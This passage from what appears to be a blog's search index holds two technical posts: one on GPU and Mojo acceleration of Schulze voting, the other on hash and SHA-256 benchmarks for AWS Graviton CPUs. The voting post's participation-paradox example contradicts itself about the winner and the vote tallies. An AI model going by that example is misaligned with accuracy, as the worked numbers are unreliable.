$O(n²)$: Most ranked methods, Borda $O(n³)$: Schulze, Floyd-Warshall-based Condorcet NP-hard: Kemeny-Young (optimal Condorcet ranking) A couple of relevant terms here. \u0026ldquo;Floyd-Warshall\u0026rdquo; refers to the classic algorithm for finding shortest paths in a weighted graph with positive or negative edge weights (but no negative cycles). \u0026ldquo;Condorcet\u0026rdquo; refers to a candidate who would win a head-to-head election against every other candidate. This term is named after the French mathematician and philosopher Marquis de Condorcet, who proposed the concept in the 18th century. It\u0026rsquo;s specific to voting systems, and describes one of many important criteria that voting methods may or may not satisfy.\nMethod Condorcet Complexity Strategic Risk Ballot Type Output Plurality No $O(n)$ High Single choice Winner only Instant Runoff No $O(n^2)$ Medium Ranked Winner only Schulze Yes $O(n^3)$ Low Ranked Winner(s) Kemeny-Young Yes NP-hard Very Low Ranked Complete ranking But why go through all this trouble instead of a simple plurality vote?\nSchulze vs Plurality: Vote Splitting Problem Imagine 100 voters choosing a programming language for a project:\nRanking Voters Preference Group 1 35 Python Group 2 33 Rust Group 3 32 Go Plurality winner is Python with 35% of votes. But this is wrong! 65% of voters prefer anything but Python! Let\u0026rsquo;s assume we have the full rankings for each group:\nVoters 1st 2nd 3rd 35 voters Python Rust Go 33 voters Rust Go Python 32 voters Go Rust Python Now check head-to-head matchups:\nPython vs Rust: 35 vs 65 (33 + 32) → Rust wins Python vs Go: 35 vs 65 (32 + 33) → Go wins Rust vs Go: 68 vs 32 → Rust wins So with Schulze, Rust wins as the \u0026ldquo;Condorcet winner\u0026rdquo;. Seems more fair, right?\nThe Participation Paradox: When Voting Hurts Now imagine a different scenario. Some rankings are received, Rust is winning. Then more people show up, who prefer Rust the most\u0026hellip; Yet, paradoxically, their participation causes Rust to lose! For that, we need to reproduce a \u0026ldquo;Condorcet cycle\u0026rdquo;.\nVoters 1st 2nd 3rd 4th 1 voter Python Java Rust Go 2 voters Python Java Go Rust 2 voters Rust Python Go Java 4 voters Go Java Rust Python 1 voter Java Python Rust Go Rust beats Python: 6-4. Python beats Go: 6-4. Java beats Rust: 8-2. Go beats Java: 6-4. There\u0026rsquo;s a cycle: Rust \u0026gt; Python \u0026gt; Go \u0026gt; Rust, and no clear Condorcet winner exists! So, the Schulze method resolves this through strongest paths analysis and nominates Java as the winner.\nNow, one more voter arrives, ranking: Java \u0026gt; Python \u0026gt; Go \u0026gt; Rust. Things change! Rust beats Python: 6-5 (same winner, closer). Python beats Go: 7-4 (Python strengthened). Java beats Python: 6-5 (Java strengthened). Java beats Rust: 9-2 (Java strengthened). Go beats Java: 6-5 (same winner, closer).\nBefore Extra Voter After Extra Voter The voter\u0026rsquo;s lower preferences (Python 2nd, Go 3rd) accidentally helped Python more than their first choice (Java) because:\n✅ Java\u0026rsquo;s victory over Rust grew: 8 → 9. ❌ But Python gained NEW victories: 6-6 ties became 7-6 wins over Rust and Go. 🎯 Python went from 0 clear wins to 2 clear wins, while Java maintained 1 clear win. Python wins! Bizarre, but here\u0026rsquo;s a line-count-optimized validation script in Python:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import numpy as np def pairwise_preferences(rankings): n = max(np.max(r) for r in rankings) + 1; prefs = np.zeros((n, n), dtype=np.uint32) [[prefs.__setitem__((p, o), prefs[p, o] + 1) for i, p in enumerate(r) for o in r[i+1:]] for r in rankings] return prefs def widest_paths(prefs): n, p = prefs.shape[0], np.zeros((prefs.shape[0], prefs.shape[0]), dtype=np.uint32) [[p.__setitem__((i, j), prefs[i, j]) for i in range(n) for j in range(n) if i != j and prefs[i, j] \u0026gt; prefs[j, i]]] [[[p.__setitem__((j, k), max(p[j, k], min(p[j, i], p[i, k]))) for k in range(n) if i != k and j != k] for j in range(n) if i != j] for i in range(n)] return p def winner(rankings): p = widest_paths(pairwise_preferences(rankings)) wins = [(p[i] \u0026gt; p[:,i]).sum() for i in range(4)] return [\u0026#39;Python\u0026#39;,\u0026#39;Rust\u0026#39;,\u0026#39;Go\u0026#39;,\u0026#39;Java\u0026#39;][np.argmax(wins)], max(wins) r = [np.array([0,3,1,2])] + [np.array([0,3,2,1])]*2 + [np.array([1,0,2,3])]*2 + [np.array([2,3,1,0])]*4 + [np.array([3,0,1,2])] i_w, i_n = winner(r); r.append(np.array([3,0,2,1])); f_w, f_n = winner(r) print(f\u0026#34;Initial (10 voters): {i_w} wins ({i_n} victories)\\nAfter adding Java-first voter: {f_w} wins ({f_n} victories)\\n{\u0026#39;✓ Paradox confirmed!\u0026#39; if i_w != f_w else \u0026#39;✗ No paradox\u0026#39;}\u0026#34;) Optimizing Schulze Serial Baseline Algorithm From the algorithmic perspective, the Schulze procedure contains 3 steps:\nAggregates votes into a matrix of pairwise preferences. On input from every voter we receive a ranking of candidates, and we construct a matrix of pairwise preferences, where d[i,j] is the number of voters who prefer candidate i to candidate j. Approach the matrix of pairwise preferences as an adjacency matrix of a graph, and compute the strongest paths for all pairs of candidates. Extract the winners from the graph, based on the strength of the paths between them. The first and third steps are somewhat easy, but the second step can be quite computationally expensive. If implemented naively, with the variation of a Floyd-Warshall algorithm, it has a complexity of $O(n^3)$, where $n$ is the number of candidates. So for a small number of candidates, like 10, it\u0026rsquo;s not a big deal. But if you want to build a direct democracy even on a scale of a 100'000 candidates, you\u0026rsquo;ll be dealing with a matrix 1e10 cells, and would probably want to use parallel hardware like GPUs to handle it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Input: d[i,j], the number of voters who prefer candidate i to candidate j. # Output: p[i,j], the strength of the strongest path from candidate i to candidate j. for i in range(n): for j in range(n): if i ≠ j: p[i,j] = d[i,j] if d[i,j] \u0026gt; d[j,i] else 0 for k in range(n): for i in range(n): if i ≠ k: for j in range(n): if j ≠ k and j ≠ i: p[i,j] = max(p[i,j], min(p[i,k], p[k,j])) Similar to matrix multiplication, the Schulze method contains three nested loops. Unlike matrix multiplication, the Schulze method contains a sequential dependency over the k loop. That limits the amount of parallelism we can extract from it.\nMoreover, similar to a lot of graph algorithms, it uses a semi-ring, where the addition is replaced by the max operation, and the multiplication is replaced by the min operation. Unlike addition and multiplication, those operations are not invertible. That limits the applicability of some of the general purpose GPGPU methods, but makes this a perfect example of Algebraic Graph Theory and a great showcase for the kinds of traversal orders that are used in combinatorial problems implemented on GPUs.\nSimilar ideas were exploited a couple of articles before to achieve 109x faster Levenshtein distance calculation on Nvidia H100 GPUs for Bioinformatics, compared to Nvidia\u0026rsquo;s own CuDF library.\nParallel Algorithm Assuming the core of the Schulze method is similar to the Floyd-Warshall algorithm, we can reuse the ideas published on these topics over the years. Moreover, there is a nice blog-post and codebase by Jared Moore and Josh Kalapos showcasing the logic:\nIn Blocked Floyd-Warshall, we use a subroutine that processes each its given block. However, the blocks are not all independent and must be processed in three separate phases. First, in the dependent phase, we have to process the k-th diagonal block. Then, in the partially dependent phase, we process the k-th row and the k-th column of blocks. Lastly, in the independent phase, we process the remaining blocks.\nTheir pseudo-code, however, contains a few inconsistencies. Moreover, in the Schulze method, some of the cells have to be skipped. Accounting for the logic changes, our Numba kernels will look as follows. For every tile:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @njit def compute_strongest_paths_tile_numba( c: np.ndarray, c_row: int, c_col: int, a: np.ndarray, a_row: int, a_col: int, b: np.ndarray, b_row: int, b_col: int, ): for k in range(tile_size): for i in range(tile_size): for j in range(tile_size): if ( (c_row + i != c_col + j) and (a_row + i != a_col + k) and (b_row + k != b_col + j) ): replacement = min(a[a_row + i, a_col + k], b[b_row + k, b_col + j]) if replacement \u0026gt; c[c_row + i, c_col + j]: c[c_row + i, c_col + j] = replacement Those tiles will be enumerated in multiple times, and every iteration would contain three phases:\nDependent phase, where we process the k-th diagonal block. Partially dependent phase, where we process the k-th row and the k-th column of blocks. Independent phase, where we process the remaining blocks. Putting it all together, we get the following Numba kernel:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @njit(parallel=True) def compute_strongest_paths_numba(preferences: np.ndarray) -\u0026gt; np.ndarray: # Populate the strongest paths matrix based on direct comparisons num_candidates = preferences.shape[0] strongest_paths = np.zeros((num_candidates, num_candidates), dtype=np.uint32) for i in range(num_candidates): for j in range(num_candidates): strongest_paths[i, j] = preferences[i, j] if preferences[i, j] \u0026gt; preferences[j, i] and i != j else 0 # Compute the strongest paths using Floyd-Warshall-like algorithm with tiling tiles_count = (num_candidates + tile_size - 1) // tile_size for k in range(tiles_count): # Dependent phase k_start = k * tile_size # f(S_kk, S_kk, S_kk) compute_strongest_paths_tile_numba(strongest_paths, k_start, k_start, strongest_paths, k_start, k_start, strongest_paths, k_start, k_start) # Partially dependent phase (first of two) for i in prange(tiles_count): if i == k: continue i_start = i * tile_size # f(S_ik, S_ik, S_kk) compute_strongest_paths_tile_numba(strongest_paths, i_start, k_start, strongest_paths, i_start, k_start, strongest_paths, k_start, k_start) # Partially dependent phase (second of two) for j in prange(tiles_count): if j == k: continue j_start = j * tile_size # f(S_kj, S_kk, S_kj) compute_strongest_paths_tile_numba(strongest_paths, k_start, j_start, strongest_paths, k_start, k_start, strongest_paths, k_start, j_start) # Independent phase (with fewer nested branches) for i in prange(tiles_count): if i == k: continue i_start = i * tile_size for j in range(tiles_count): if j == k: continue j_start = j * tile_size # f(S_ij, S_ik, S_kj) compute_strongest_paths_tile_numba(strongest_paths, i_start, j_start, strongest_paths, i_start, k_start, strongest_paths, k_start, j_start) return strongest_paths Having that many conditionals in compute_strongest_paths_tile_numba isn\u0026rsquo;t great. We\u0026rsquo;ll remove them later.\nPorting to CUDA for H100 GPUs Translating the Numba code to CUDA can be straightforward, but it was further complicated by the fact that the same high-level procedure has to call 3 separate kernels with completely different grid sizes. Again, the moorejs/APSP-in-parallel was a good starting point. Its core logic was correct, but it contained several excessive __syncthreads calls, and required more addressing logic to skip the cells that have to be skipped.\nThe basic CUDA kernel follows a similar pattern to the Numba version:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 template \u0026lt;uint32_t tile_size\u0026gt; __global__ void step_independent_(candidate_idx_t n, candidate_idx_t k, votes_count_t* graph) { candidate_idx_t const j = blockIdx.x; candidate_idx_t const i = blockIdx.y; candidate_idx_t const bi = threadIdx.y; candidate_idx_t const bj = threadIdx.x; if (i == k \u0026amp;\u0026amp; j == k) return; __shared__ alignas(16) votes_count_t a[tile_size][tile_size]; __shared__ alignas(16) votes_count_t b[tile_size][tile_size]; __shared__ alignas(16) votes_count_t c[tile_size][tile_size]; c[bi][bj] = graph[i * tile_size * n + j * tile_size + bi * n + bj]; a[bi][bj] = graph[i * tile_size * n + k * tile_size + bi * n + bj]; b[bi][bj] = graph[k * tile_size * n + j * tile_size + bi * n + bj]; __syncthreads(); _process_tile_cuda\u0026lt;tile_size, false, true\u0026gt;( // c, a, b, bi, bj, // i * tile_size, j * tile_size, // i * tile_size, k * tile_size, // k * tile_size, j * tile_size // ); graph[i * tile_size * n + j * tile_size + bi * n + bj] = c[bi][bj]; } Hardware-Specific Optimizations I explored several Nvidia Hopper-specific features:\nHopper introduced DPX instructions for fused min/max operations. While these seemed perfect for the tropical semiring operations in Schulze, the available intrinsics (__vimax3_u32, __vimin3_u32) are symmetric (both min or both max) rather than performing one of each. Worth keeping in mind for other algorithms though — I successfully used them in StringZilla v4 for Levenshtein distance calculations.\nThe newer Tensor Memory Access (TMA) asynchronous extensions looked interesting as well. Dealing with TMA, however, was harder than with any other hardware-specific interface I\u0026rsquo;ve used in years. I need to debug it further, before I can share any performance characteristics, but I wouldn\u0026rsquo;t expect massive gains. TMA provides gains when your compute is already running on Tensor Cores, operating at PetaFLOPs throughput, while our logic is orders of magnitude slower.\nExploring Mojo 🔥 Code Generation and Portability One interesting discovery: modern language models generate quite reasonable Mojo code. I provided Claude Code with the Numba and CUDA implementations plus a few documentation links, and the generated Mojo compiled successfully. Like most junior developers, it tended to over-allocate temporary structures and missed some idiomatic patterns, but overall provided a solid starting point.\nThe most impressive aspect was portability. The Mojo code written for Nvidia GPUs worked on AMD hardware with zero modifications — no vendor-specific code paths, no conditional compilation. For context, adapting the CUDA C++ implementation to run with AMD\u0026rsquo;s hipcc required 200+ lines of changes.\nLanguage Design Observations Some of the current Mojo design decisions felt unusual at first. Namely, the name of the @parameter decorator for compile-time evaluation, the mutable-by-default var variables. One area that I struggled with: feature-gating GPU code from CPU-only builds. CUDA C++ uses #ifdef __CUDA_ARCH__ for this; Mojo will likely develop similar mechanisms as cross-compilation matures. Other things, although not traditional, felt quite nice:\nLLVM-style \u0026ldquo;address spaces\u0026rdquo; vs __shared__ qualifiers in CUDA C++ The stack_allocation API for explicit buffer control Move semantics with x^ instead of std::move(x) That\u0026rsquo;s syntactic sugar! What about my bread and butter - GPGPU and SIMD?\nGPU Orchestration One of CUDA\u0026rsquo;s pain points is the boilerplate around kernel launches. Correctly launching a CUDA kernel requires ~100 lines when you properly handle errors, streams, and synchronization. Mojo streamlines this significantly:\nvar ctx = DeviceContext() var matrix_size = num_candidates * num_candidates var host_graph = ctx.enqueue_create_host_buffer[DType.uint32](matrix_size) var device_graph = ctx.enqueue_create_buffer[DType.uint32](matrix_size) host_graph.enqueue_copy_to(device_graph) ctx.synchronize() ctx.enqueue_function[gpu_independent_kernel[32]]( device_graph.unsafe_ptr(), num_candidates, k, grid_dim=(tiles_count, tiles_count, 1), block_dim=(32, 32, 1) ) ctx.synchronize() device_graph.enqueue_copy_to(host_graph) ctx.synchronize() Better ergonomics with stronger type safety. This design has room for sophisticated multi-GPU orchestration libraries that interleave device operations more efficiently than traditional CUDA patterns allow.\nCPU Vectorization Mojo\u0026rsquo;s SIMD support works across architectures (AVX-512, NEON, etc.) with the same code:\nfn process_tile_cpu_simd_independent[tile_size: Int, simd_width: Int](...): constrained[tile_size % simd_width == 0, \u0026#34;tile_size must be divisible by simd_width\u0026#34;]() for k in range(tile_size): for bi in range(tile_size): var a_val = a[bi * tile_stride + k] for chunk in range(tile_size // simd_width): var bj = chunk * simd_width var c_vec = c.load[width=simd_width](bi * tile_stride + bj) var b_vec = b.load[width=simd_width](k * tile_stride + bj) var a_vec = SIMD[DType.uint32, simd_width](a_val) var min_val = min(a_vec, b_vec) var new_c = max(c_vec, min_val) c.store[width=simd_width](bi * tile_stride + bj, new_c) This code is only marginally longer than the scalar version but delivers 4x speedups on AVX-512 CPUs. As someone who maintains on the order of ~1000 open-source hand-written SIMD and GPGPU kernels, I\u0026rsquo;d love to see more work in the packaging and distribution of such code. GCC and many other compilers have tried to provide some form of multi-versioning, but all fell short in ergonomics and usability.\nBorrowing more ideas from Halide would also be a potential value add for people writing HPC kernels, but that\u0026rsquo;s a topic for another day.\nReflections and Next Steps Overall, it was a great hackathon! Chris Lattner talked about Mojo\u0026rsquo;s GPU support, Raja Koduri explained the reasons for the success of the CUDA ecosystem in the last decade, Tri Dao gave the first public talk on FlashAttention-3\u0026hellip; now superseded by his FlashAttention-4, and Dylan Patel shared some insights on the data-center market.\nThanks to Sasha Krassovsky, Pradeep Ramani, and Evan Ovadia for collaborating with me on this one! The code is available on GitHub and there is clearly more exploration coming around async TMA-like memory transfers and tropical algebra applications beyond voting!\nThanks to Jeremy Nixon, Rohan Pandey, and Kyle Morris for bringing the AGI house together and hosting all of us! Thanks to Nebius for compute! Stay tuned for the next hackathon!\nThis lineup is 🔥🔥🔥 Feels like half of the world\u0026#39;s super-computing power will be in one place this Saturday! https://t.co/rldBGquIxi\n\u0026mdash; Ash Vardanian (@ashvardanian) July 9, 2024 ","permalink":"https://ashvardanian.com/posts/scaling-elections/","summary":"\u003cp\u003eLast summer, me, Chris Lattner, and a bunch of other people across the industry gathered together for a GPU-programming hackathon at the AGI House in San Francisco.\nAfter one too many LLM optimizations, I decided to accelerate something nobody asked for!\u003c/p\u003e\n\u003cp\u003eMost elections use simple plurality voting — whoever gets the most votes wins.\nBut there are \u0026ldquo;fairer\u0026rdquo; methods that consider ranked preferences, like the Schulze method used by Wikimedia Foundation, Debian, and pirate parties worldwide.\nThe catch?\nIt scales $O(n³)$ with the number of candidates.\u003c/p\u003e","title":"Scaling Elections with GPUs and Mojo across Nvidia and AMD 🔥"},{"content":"AWS is the world\u0026rsquo;s largest cloud provider. It\u0026rsquo;s hard to comprehend how many billions of times per second their instances compute string hashes and SHA-256 file checksums! After releasing StringZilla v4, I spun up instances of the last 3 Graviton generations, exploring optimization opportunities across NEON, SVE, and SVE2 extensions.\nGraviton 2 Graviton 3 Graviton 4 Context Availability year 2020 2022 2024 Process node 7 nm, TSMC 5 nm, TSMC 3nm, TSMC Architecture Neoverse N1 Neoverse V1 Neoverse V2 Max cores 64 64 96 AWS instance family *6g *7g *8g Specifics Vector extensions NEON NEON, SVE NEON, SVE, SVE2 Encryption extensions NEON+AES NEON+AES 🤦‍♂️ NEON+AES, SVE+AES SVE vector length 128b 256b 128b 🤦‍♂️ Yes, SVE on Gravitons is tricky. More on that later.\nGiven how diverse the architectures are across generations, these results likely apply to NVidia\u0026rsquo;s Grace, Apple\u0026rsquo;s M-series, Google\u0026rsquo;s Axion, Microsoft\u0026rsquo;s Cobalt, and other Arm-based chips.\nSmall String Keys The most common use-case for string hashing is hash tables, like std::unordered_map\u0026lt;std::string, ...\u0026gt; in C++ or std::collections::HashMap\u0026lt;String, ...\u0026gt; in Rust. The latency is often dominated by state construction, unaligned loads, and digest computation, rather than the actual mixing function. Higher throughput is better.\nHashing Library Graviton 2 Graviton 3 Graviton 4 Rust standard Hasher 0.28 GiB/s 0.38 GiB/s 0.52 GiB/s Google\u0026rsquo;s crc32fast ₃₂ 0.36 GiB/s 0.48 GiB/s 0.56 GiB/s MurmurHash3 from murmur3 ₃₂ 0.47 GiB/s 0.51 GiB/s 0.64 GiB/s aHash from ahash 0.76 GiB/s 1.00 GiB/s 1.04 GiB/s xxHash3 from xxhash-rust 0.84 GiB/s 1.11 GiB/s 1.05 GiB/s StringZilla 🦖 0.40 GiB/s 0.60 GiB/s 1.42 GiB/s To reproduce the results, check the StringWars benchmark. A typical word-level token is between 6 and 10 bytes long.\naHash and xxHash3 perform very well! Both output high-entropy 64-bit hashes with excellent avalanche resistance as measured in Austin Appleby\u0026rsquo;s SMHasher suite and my HashEvals. Both are far better than the default hashers in C++, Rust, and Python standard libraries, as well as the 32-bit MurmurHash3 and CRC32 algorithms.\nStringZilla lags behind on Graviton 2 and 3, but leaps ahead on Graviton 4, where the AES extensions for SVE are available. It\u0026rsquo;s interesting to dissect how much of our boost from 0.60 GiB/s to 1.42 GiB/s comes from NEON vs SVE. For that we can recompile StringWars disabling some of the optimizations:\n1 2 3 SZ_USE_NEON=0 SZ_USE_NEON_AES=0 SZ_USE_NEON_SHA=0 SZ_USE_SVE=0 SZ_USE_SVE2_AES=0 \\ RUSTFLAGS=\u0026#34;-C target-cpu=native\u0026#34; STRINGWARS_DATASET=xlsum.csv STRINGWARS_TOKENS=words \\ cargo criterion --features bench_hash bench_hash --jobs 1 Results are:\n0.1108 GiB/s with serial code only, 0.6577 GiB/s with NEON \u0026amp; AES, but without SVE, 1.4240 GiB/s with SVE2 \u0026amp; AES enabled: 2.16x faster than NEON! NEON alone improved 10% between Graviton 3 and 4, but SVE2 AES delivered another 116% on top of that. In StringZilla the gains come from a separate implementation path for strings up to 16 bytes, combining:\nFast predicated loads: svld1_u8(svwhilelt_b8(0, len), text) AES-based mixing: svaesmc_u8(svaese_u8(state, zero), key) Similar optimizations are available on x86 and were backported with the ClickHouse team to Intel Westmere-generation chips, where AVX2 and AVX-512 aren\u0026rsquo;t available. Maybe with more community participation we can make the hash functions more friendly to older Arms as well.\nLonger Strings and Files For longer strings around 4 KB - roughly one RAM page, the middle ground between a large network packet and a small file - StringZilla\u0026rsquo;s 64-byte block algorithm really shines:\nHashing Library Graviton 2 Graviton 3 Graviton 4 Rust standard Hasher 2.53 GiB/s 3.28 GiB/s 3.71 GiB/s Google\u0026rsquo;s crc32fast ₃₂ 14.70 GiB/s 16.47 GiB/s 18.23 GiB/s MurmurHash3 from murmur3 ₃₂ 1.85 GiB/s 2.40 GiB/s 2.58 GiB/s aHash from ahash 4.63 GiB/s 6.84 GiB/s 8.87 GiB/s xxHash3 from xxhash-rust 10.03 GiB/s 15.77 GiB/s 18.18 GiB/s StringZilla 🦖 14.00 GiB/s 20.90 GiB/s 23.00 GiB/s For longer inputs, we often want more than 64 bits of hash. SHA-256 has become the de-facto standard for file integrity checksums and is ubiquitous in security applications. It\u0026rsquo;s in Bitcoin transactions, Git commits, TLS certificates, content-addressable filesystems like IPFS, package managers like NPM, Docker, and Debian\u0026rsquo;s APT. In AWS, it\u0026rsquo;s in S3 ETags starting with SigV4 (2012), Lambda identifiers, DynamoDB streams, and pretty much everywhere else. Higher is better.\nSHA-256 Implementation Graviton 2 Graviton 3 Graviton 4 Pure Rust sha2 0.23 GiB/s 0.29 GiB/s 0.34 GiB/s BoringSSL-based ring 1.41 GiB/s 1.50 GiB/s 1.63 GiB/s StringZilla 🦖 1.11 GiB/s 1.16 GiB/s 1.25 GiB/s This is where I\u0026rsquo;m declaring an ideological defeat. I\u0026rsquo;ve been trying to keep Assembly in StringZilla to a minimum, focusing on C intrinsics instead. SHA-256 is heavily standardized with little room for innovation. All state-of-the-art implementations, including most SSL/TLS libraries, rely on the same hand-rolled or Perl-generated Assembly. My attempts to match or beat them with C intrinsics have failed. The compiler is too eager to reorder instructions or introduce unnecessary moves. So the next version of StringZilla may switch to inline Assembly in a few places. That said, raw performance isn\u0026rsquo;t everything.\nReal-World Performance Despite not being the fastest, StringZilla\u0026rsquo;s SHA-256 is still very usable given how it integrates with the rest of the library. It\u0026rsquo;s exposed to C99 and C++11, as well as Python 3, Node.js via N-API, Swift, and Go via cgo, and works with arbitrary files, including memory-mapped ones. In Python, the loop that used to look like this:\n1 2 3 4 5 6 7 import hashlib with open(\u0026#34;xlsum.csv\u0026#34;, \u0026#34;rb\u0026#34;) as streamed_file: hasher = hashlib.sha256() while chunk := streamed_file.read(4096): hasher.update(chunk) checksum = hasher.hexdigest() Now looks like this:\n1 2 3 from stringzilla import Sha256, File, Str mapped_file = File(\u0026#34;xlsum.csv\u0026#34;) checksum = Sha256().update(mapped_file).hexdigest() Both output the same hexadecimal digest: 7278165ce01a4ac1e8806c97f32feae908036ca3d910f5177d2cf375e20aeae1. OpenSSL, powering Python\u0026rsquo;s hashlib, has a faster pure Assembly kernel. But StringZilla avoids file I/O overhead with memory mapping and skips Python\u0026rsquo;s abstraction layers, making the end-to-end time better:\nOpenSSL-backed hashlib.sha256 time: 12.623s. End-to-end StringZilla time: 4.052s - 3x faster! SVE\u0026rsquo;s Broken Promise Arm\u0026rsquo;s major selling point for SVE was simple: write once, run anywhere with variable vector lengths from 128 to 2048 bits. In practice, no major CPU has ever shipped with 1024 or 2048-bit SVE. Worse, AWS regressed from 256-bit SVE in Graviton 3 to 128-bit in Graviton 4.\n1 2 3 4 5 ubuntu@graviton4 $ sudo dmesg | grep -i sve \u0026gt; [ 0.008053] SVE: maximum available vector length 16 bytes per vector \u0026gt; [ 0.008054] SVE: default vector length 16 bytes per vector ubuntu@graviton4 $ getconf LEVEL1_DCACHE_LINESIZE \u0026gt; 64 # 64 bytes per cache line, 16 bytes per vector register AWS likely traded vector width for more cores within the same power envelope, and that\u0026rsquo;s not the only trade-off. The variable vector length creates real software design challenges! You can\u0026rsquo;t pack multiple \u0026ldquo;SVE vectors\u0026rdquo; into a structure and pass them around - there\u0026rsquo;s no ABI for that. SVE code ends up harder to scope and reuse. Some library maintainers compile with -msve-vector-bits=128 to get fixed-width SVE, but then you may as well use NEON.\nCompared to x86, the situation seems worse at every level:\nAVX2 is 256-bit wide and more uniform than the 128-bit fragmented NEON. AVX-512 is fragmented too, but at least it\u0026rsquo;s always 512-bit wide and brings substantial new functionality. SVE is almost never even 256 bits wide. AMX is easier to access than SME, despite little documentation and complex swizzling logic. After a lot of experimentation with SVE in StringZilla, SimSIMD, and USearch, the wins have been rare. Scatter/gather can be 30% faster in synthetic \u0026ldquo;Less Slow\u0026rdquo; benchmarks, some histogram operations benefit, but most code runs just as fast or faster on NEON.\nRISC-V\u0026rsquo;s Vector Extension (RVV) comes with similar challenges, but instead of hiding the vector length (VL), the programming model exposes it. I\u0026rsquo;d be curious to see how usable it is in practice beyond micro-kernels in larger systems design tasks. So far AVX-512 has been by far the most usable ISA beyond tiny kernels, in part because its width matches the cache line size on x86. Granted, on some CPUs cache-coherency protocols operate on 2x wider 128-byte lines, but that\u0026rsquo;s a minor issue compared to the overall usability.\nTakeaways If you\u0026rsquo;re optimizing for Arm, start with NEON. Add SVE only where benchmarks prove it wins - like AES operations on Graviton 4. Don\u0026rsquo;t bet on wider vectors just yet and let me know if you find workloads where SVE consistently outperforms NEON 🤗\nOn AWS ☁️ billions of string hashes and SHA-256 file checksums are computed every second\nI benchmarked their @Arm-based Graviton 2, 3, and 4 CPUs — tuning NEON, SVE, and SVE2 to accelerate them\nSpoiler: you can go 40% faster than xxHash3 and aHash!https://t.co/4isyUc11W9\n\u0026mdash; Ash Vardanian (@ashvardanian) October 7, 2025 ","permalink":"https://ashvardanian.com/posts/aws-graviton-checksums-on-neon-vs-sve/","summary":"\u003cp\u003eAWS is the world\u0026rsquo;s largest cloud provider.\nIt\u0026rsquo;s hard to comprehend how many billions of times per second their instances compute string hashes and SHA-256 file checksums!\nAfter releasing \u003ca href=\"https://github.com/ashvardanian/StringZilla\"\u003eStringZilla v4\u003c/a\u003e, I spun up instances of the last 3 Graviton generations, exploring optimization opportunities across NEON, SVE, and SVE2 extensions.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth style=\"text-align: right\"\u003eGraviton 2\u003c/th\u003e\n          \u003cth style=\"text-align: right\"\u003eGraviton 3\u003c/th\u003e\n          \u003cth style=\"text-align: right\"\u003eGraviton 4\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eContext\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eAvailability year\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e2020\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e2022\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e2024\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eProcess node\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e7 nm, TSMC\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e5 nm, TSMC\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e3nm, TSMC\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eArchitecture\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNeoverse N1\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNeoverse V1\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNeoverse V2\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eMax cores\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e64\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e64\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e96\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eAWS instance family\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e*6g\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e*7g\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e*8g\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSpecifics\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eVector extensions\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNEON\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNEON, SVE\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNEON, SVE, SVE2\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eEncryption extensions\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNEON+AES\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNEON+AES 🤦‍♂️\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003eNEON+AES, SVE+AES\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSVE vector length\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e128b\u003c/td\u003e\n          \u003ctd style=\"text-align: right\"\u003e256b\u003c/td\u003e\n          \u003ctd 